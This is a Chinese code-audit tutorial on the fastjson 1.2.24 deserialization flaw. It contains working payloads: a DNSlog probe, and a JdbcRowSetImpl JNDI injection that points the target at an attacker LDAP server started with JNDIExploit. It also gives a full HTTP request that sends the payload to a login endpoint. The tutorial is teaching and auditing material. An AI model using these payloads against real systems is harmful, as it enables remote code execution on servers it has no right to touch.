Java代码审计16之fastjson反序列化漏洞(1)

文章目录

  • 1、简介fastjson
  • 2、fastjson的使用
      • 2.1、将类序列化为字符串
      • 2.2、将字符串还原为对象
      • 2.3、小结以上
      • 2.4、稍微扩展思路
  • 3、fastjson漏洞利⽤原理与dnslog
  • 4、JdbcRowSetImpl利用链
      • 4.1、JdbcRowSetImpl的基本知识
      • 4.2、利用代码复现
      • 4.3、生成poc
      • 4.4、模拟真实场景
      • 4.5、利用链代码分析

1、简介fastjson

Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为Java 对象。Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。Fastjson 源码地址:https://github.com/alibaba/fastjsonFastjson 中⽂ Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

添加pom.xml依赖,

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>

2、fastjson的使用

简单了解将对象转化为json,以及从json还原对象

2.1、将类序列化为字符串

主要就是 JSON.toJSONString 函数的使用该函数可以仅仅传入一个参数,也可以传入两个参数,序列化生成的字符串略有区别,

user.java

package com.example.demo2;public class user {private int age;private String username;private String password;// 默认无参数构造函数public user() {System.out.println("无参构造方法被调用");}public user(int age, String username, String password) {System.out.println("有参构造方法被调用");this.age = age;this.username = username;this.password = password;}public int getAge() {System.out.println("get函数被调用");return age;}public void setAge(int age) {System.out.println("set函数被调用");this.age = age;}public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}@Overridepublic String toString() {System.out.println("toString函数被调用。。。");return "user{" +"age=" + age +", username='" + username + '\'' +", password='" + password + '\'' +'}' ;}}

main.java

package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {user user = new user(12, "xbb", "123456");// 序列化⽅式String json1 = JSON.toJSONString(user);//生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);System.out.println(json1);System.out.println(json2);System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());}

输出如下,可以看到类以及被序列化为json类型的字符串,

有参构造方法被调用
{"age":12,"password":"123456","username":"xbb"}
{"@type":"com.example.demo2.user","age":12,"password":"123456","username":"xbb"}
json1的变量类型:String

2.2、将字符串还原为对象

设计两个函数,JSON.parseJSON.parseObject

main.java

package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {user user = new user(12, "xbb", "123456");// 序列化⽅式String json1 = JSON.toJSONString(user);//生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//        System.out.println(json1);
//        System.out.println(json2);
//        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());System.out.println();//使用JSON.parse函数从字符串还原为对象System.out.println(JSON.parse(json1));//输出还原成什么类型;JSONObjectSystem.out.println(JSON.parse(json1).getClass().getSimpleName());System.out.println(JSON.parseObject(json1));//输出还原成什么类型;JSONObjectSystem.out.println(JSON.parseObject(json1).getClass().getSimpleName());System.out.println();//使用JSON.parseObject 函数从字符串还原为对象System.out.println(JSON.parse(json2));System.out.println();System.out.println(JSON.parseObject(json2));}
对于“  JSON.toJSONString(user) ”这种方式序列化的字符串,两种还原函数,得到的结果一致。对于“ JSON.toJSONString(user, SerializerFeature.WriteClassName) ” 这种方式序列化得到的字符串,两个函数还原得到的结果不一致,且还原和上面的字符串还原的过程也不一致,对于json2字符串,使用JSON.parseObject函数还原的过程,调用无参构造方法调用了set函数调用了get函数输出结果和json1还原一致对于json1字符串,使用JSON.parseObject函数还原过程,调用无参构造方法调用set函数调用toString函数输出结果和以上3个不同

有参构造方法被调用
get函数被调用
get函数被调用{"password":"123456","age":12,"username":"xbb"}
JSONObject
{"password":"123456","age":12,"username":"xbb"}
JSONObject无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}无参构造方法被调用
set函数被调用
get函数被调用
{"password":"123456","age":12,"username":"xbb"}

继续增加JSON.parseObject函数的参数,

        System.out.println(JSON.parseObject(json1,user.class)); System.out.println(JSON.parseObject(json2,user.class)); 

输出结果一样,

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}

2.3、小结以上

序列化函数JSON.toJSONString(对象,可选参数)测试可选参数为:SerializerFeature.WriteClassName反序列化函数JSON.parse(字符串)JSON.parseObject(字符串,可选参数)可选参数为:指定还原对象类型,如,user.class

在这里插入图片描述

2.4、稍微扩展思路

由上面的测试,我们知道,假设反序列化的值是由用户可控的话,假设原本的get/set/toString/无参构造方法内存在高危功能代码,那么就会产生漏洞,因为以json2格式字符串,任何反序列化的函数都会触发set函数,

我们假设set函数的内容如下:

    public String getUsername() {return username; }public void setUsername(String username) {this.username = username;try {Runtime.getRuntime().exec("calc");
//            Runtime.getRuntime().exec(username);} catch (IOException e) {e.printStackTrace();}}

main.java

package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {String json2 = "{\"@type\":\"com.example.demo2.user\",\"age\":12,\"password\":\"123456\",\"username\":\"xxx\"}";System.out.println(JSON.parseObject(json2));}}

运行就会弹出计算器,
在这里插入图片描述

这个弹出计算器是原代码写死的,假设我们在改动下set函数,假设执行的命令是有反序列化得到的,则就会造成命令注入。

在这里插入图片描述

3、fastjson漏洞利⽤原理与dnslog

json字符串中带有@type漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
	上面是比较官方的说法,其实由上面的测试,我们也知道,我们假设set函数内存在高危功能点,且参数可控,则造成的危害是比较大的。然而,我们的user类setname函数内没有高危功能和可控参数,如何造成危害呢
其实这里答案比较明确了,既然反序列化的字符串都是可控的,user类没有这种功能点,那Jdk自带的那么多类,总是存在这样的地方把,有
package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class main {public static void main(String[] args) throws Exception {String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"aa.8fhj7r.3lasix.dnslog.cn\"}";System.out.println(JSON.parse(json2));}}

在这里插入图片描述

类似的JSON.parseObject也可以,虽然报错了,但是dns已经发出了请求,
        String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";System.out.println(JSON.parseObject(json2));

在这里插入图片描述
小结可用poc,

String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";类似的还有下面这个,String json2 = "{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"enst5r.cc9cve.dnslog.cn\"}\n";

4、JdbcRowSetImpl利用链

4.1、JdbcRowSetImpl的基本知识

上面我们利用jdk自带的类和函数实现了dnslog的探测,但是更多的时候目的都是rce,
今天要说的 JdbcRowSetImpl 利用链不是java的原生类,而是java标准库的类(需要导入包使用)
简单的理解,Java的标准库不是java自带的,是Java 的官方维护者(Oracle Corporation,以前是 Sun Microsystems)提供的,因此它是官方推荐的和广泛使用的一组类和包。所以使用较广。
另外java的标准库有很多的功能,一般需要什么功能会导入具体功能的jar包。而JdbcRowSetImpl 用于支持 JDBC 操作,因此非常常见。

4.2、利用代码复现

先启动恶意服务器,java -jar .\JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.25
package com.example.test;
import com.sun.rowset.JdbcRowSetImpl;import java.sql.SQLException;public class test2 {public static void main(String[] args) throws SQLException {JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");jdbcRowSet.setAutoCommit(true);}
}

在这里插入图片描述

4.3、生成poc

这个标准库的JdbcRowSetImpl是可以触发漏洞的,那么我们参考之前的序列化后的字符串,改造我们的poc,

在这里插入图片描述

代码和得到poc,
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}
package com.example.test;import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;import java.sql.SQLException;public class test2 {public static void main(String[] args) throws SQLException {//        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
//        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
//        jdbcRowSet.setAutoCommit(true);String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.1.25:1389/Basic/Command/calc\", \"autoCommit\":true}";System.out.println(payload);JSON.parse(payload);}
}

4.4、模拟真实场景

这个是一个登录,理想的代码,即拿到请求参数使用fastjson进行反序列化

在这里插入图片描述

所以,我们直接将传参变为poc,即可,

在这里插入图片描述

详细的请求数据包,
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 123
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=F9AD741194B4DCAC1D5914AC33163088
Connection: close{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}

4.5、利用链代码分析

先看12行的代码,其实从函数的名称上就可以知道,这个函数的是给 DataSourceName 赋值的,跟一下吧跟进JdbcRowSetImpl.class,进入到setDataSourceNmame():因为初始化的时候getDataSourceNmame()为空,进入else,var变量的值就是传入的payload,

在这里插入图片描述

继续进setDataSourceName函数,这里就结束了

在这里插入图片描述

执行完最初的12行,执行13行,跟进去,判断this.conn是否为空,我们也没有给this.conn设置值,肯定是空进入else逻辑,执行 this.connect 函数,

在这里插入图片描述


这里直接进入else原因还是没有设置this.conn的值,然后326行代码,lookup的参数,就是上面12行设置的 DataSourceName 的值(payload),是可控的,而lookup()远程加载payload,就造成了JNDI注入漏洞。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/78853.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MongoDB差异数据对比的快速指南

MongoDB是一种非关系型数据库&#xff0c;它以灵活的 JSON-like 文档的形式存储数据&#xff0c;这种特性使其在处理大量数据和实现快速开发时更具有优势。而由于其灵活的数据模型和强大的性能&#xff0c;MongoDB 被广泛应用在各种业务场景中。随着业务的发展和数据的增长&…

Excel VLOOKUP 初学者教程:通过示例学习

目录 前言 一、VLOOKUP的用法 二、应用VLOOKUP的步骤 三、VLOOKUP用于近似匹配 四、在同一个表里放置不同的VLOOKUP函数 结论 前言 Vlookup&#xff08;V 代表“垂直”&#xff09;是 excel 中的内置函数&#xff0c;允许在 excel 的不同列之间建立关系。 换句话说&#x…

iPhone苹果15手机怎么看是国行还是美版或港版的苹果iPhone15手机?

iPhone苹果手机15机型区域版本识别代码 CH代码为国行 LL代码为美版 ZP代码为港版 iPhone苹果15手机怎么看是国行还是美版或港版的苹果iPhone15手机&#xff1f; 1、打开苹果iPhone15手机桌面上的「设置」&#xff1b; 2、在iPhone苹果15手机设置内找到「通用」并点击打开&…

【OJ比赛日历】快周末了,不来一场比赛吗? #09.16-09.22 #12场

CompHub[1] 实时聚合多平台的数据类(Kaggle、天池…)和OJ类(Leetcode、牛客…&#xff09;比赛。本账号会推送最新的比赛消息&#xff0c;欢迎关注&#xff01; 以下信息仅供参考&#xff0c;以比赛官网为准 目录 2023-09-16&#xff08;周六&#xff09; #3场比赛2023-09-17…

【FPGA项目】进阶版沙盘演练——报文收发(报文处理、CDC、CRC)

前言 书接上文【FPGA项目】沙盘演练——基础版报文收发_子墨祭的博客-CSDN博客&#xff0c;前面我们做了基础版的报文收发&#xff0c;相信对逻辑设计有了一定的认知&#xff0c;在此基础上&#xff0c;继续完善一个实际报文收发可能会遇到的一些处理&#xff1a; 报文处理握手…

公交查询系统

目录 需求分析 1 概述 2 课题分析 3 实现功能步骤 4 项目背景 概要设计 1 系统流程图. 2 功能模块. 3 各功能模块 4 数据存储 5 类设计 三、详细设计 1公交线路查询系统用户界面 2公交信息存储模快 3公交信息查询模块 4用户信息输入和输出模块 四、调试分析 五、使用说明 六、…

STM32外部复位IC与看门狗冲突,无法复位问题解决方案

使用STM32H743制作了一款飞控&#xff0c;外部复位IC采用MAX809STR,打板完后&#xff0c;烧录飞控固件后大量板子无法正常启动&#xff0c;怀疑是晶振没有起振或MCU未焊接好&#xff0c;检查后均焊接正常&#xff0c;编写裸机LED定时闪烁验证程序可正常运行。经网上查询资料锁定…

Python 环境搭建,集成开发环境IDE: PyCharm

Python 环境搭建,集成开发环境IDE: PyCharm 一、Python 环境搭建二、Python下载三、Python安装四、环境变量配置五、Python 环境变量六、运行Python1、交互式解释器&#xff1a;2、命令行脚本3、集成开发环境&#xff08;IDE&#xff1a;Integrated Development Environment&am…

Hadoop-Hive

1. hive安装部署 2. hive基础 3. hive高级查询 4. Hive函数及性能优化 1.hive安装部署 解压tar -xvf ./apache-hive-3.1.2-bin.tar.gz -C /opt/soft/ 改名mv apache-hive-3.1.2-bin/ hive312 配置环境变量&#xff1a;vim /etc/profile #hive export HIVE_HOME/opt/soft/hive…

软件测试的基本流程是什么?软件测试流程详细介绍

软件测试和软件开发一样&#xff0c;是一个比较复杂的工作过程&#xff0c;如果无章法可循&#xff0c;随意进行测试势必会造成测试工作的混乱。为了使测试工作标准化、规范化&#xff0c;并且快速、高效、高质量地完成测试工作&#xff0c;需要制订完整且具体的测试流程。 01…

JavaScript的DOM操作(二)

一、元素的特性attribute 1.元素的属性和特性 前面我们已经学习了如何获取节点&#xff0c;以及节点通常所包含的属性&#xff0c;接下来我们来仔细研究元素Element。 我们知道&#xff0c;一个元素除了有开始标签、结束标签、内容之外&#xff0c;还有很多的属性&#xff0…

【算法与数据结构】450、LeetCode删除二叉搜索树中的节点

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;本题首先要分析删除节点的五种情况&#xff1a; 1、没有找到节点2、找到节点 左右子树为空左子树为空…

微信小程序项目开发Day1

没接触过&#xff0c;直接看视频学习&#xff1a; 千锋教育微信小程序开发制作前端教程&#xff0c;零基础轻松入门玩转微信小程序_哔哩哔哩_bilibili千锋教育微信小程序开发制作前端教程&#xff0c;零基础轻松入门玩转微信小程序共计56条视频&#xff0c;包括&#xff1a;学…

软件工程课件

软件工程 考点概述软件工程概述能力成度模型能力成熟度模型集成软件过程模型逆向工程软件需求需求获取数据流图 需求定义 考点概述 重点章节 软件工程概述 之前老版教程的&#xff0c;之前考过 能力成度模型 记忆 能力等级 和 特点 能力成熟度模型集成 相比于CMM&#xff0c;第…

结合el-input、el-select实现纯前端过滤树形el-table数据

样式图示 1.搜索实现方法 const searchBtn async () > {// 获取table列表数据接口const res await Api.menuList({paging: false})if (res.code 200) {// 把树形结构转成扁平结构let result treeToArray(res.data)// 处理搜索框中数据进行table显示项过滤if(commonData…

分享!JetBrains IDE中的GitLab支持

GitLab是流行的基于git的软件开发和部署平台之一&#xff0c;虽然很长一段时间以来&#xff0c;所有基本git操作都已经可以通过GitLab实现&#xff0c;但GitLab集成仍是JetBrains社区的一大最热门请求。为此&#xff0c;JetBrains团队今年与GitLab联手提供了这种类型的集成。 …

2023年华为杯研究生数学建模竞赛辅导

2023年华为杯研究生数学建模竞赛辅导 各研究生培养单位&#xff1a; 中国研究生数学建模竞赛作为教育部学位管理与研究生教育司指导&#xff0c;中国学位与研究生教育学会、中国科协青少年科技中心主办的“中国研究生创新实践系列大赛”主题赛事之一&#xff0c;是一项面向在校…

使用阿里PAI DSW部署Stable Diffusion WebUI

进入到网址https://pai.console.aliyun.com/里边。 点击创建实例。 把实例名称填写好&#xff0c;选择GPU规格&#xff0c;然后选择实例名称是ecs.gn6v-c8g1.2xlarge。 选择stable-diffusion-webui-env:pytorch1.13-gpu-py310-cu117-ubuntu22.04&#xff0c;然后点击下一步。…

如何利用软文推广进行SEO优化(打造优质软文,提升网站排名)

在当今的互联网时代&#xff0c;SEO优化成为了网站推广的关键。而软文推广作为一种有效的推广方式&#xff0c;其优点不仅仅局限于SEO&#xff0c;还可以带来更多的曝光和用户流量。本文将深入探讨如何做好软文推广&#xff0c;从而提升网站排名和流量。 了解目标受众群体 内容…

springboot集成excel导入导出

1、引入依赖 <dependency><groupId>com.pig4cloud.excel</groupId><artifactId>excel-spring-boot-starter</artifactId><version>1.2.7</version> </dependency> 2、导出 ResponseExcel(name "测试列表") Post…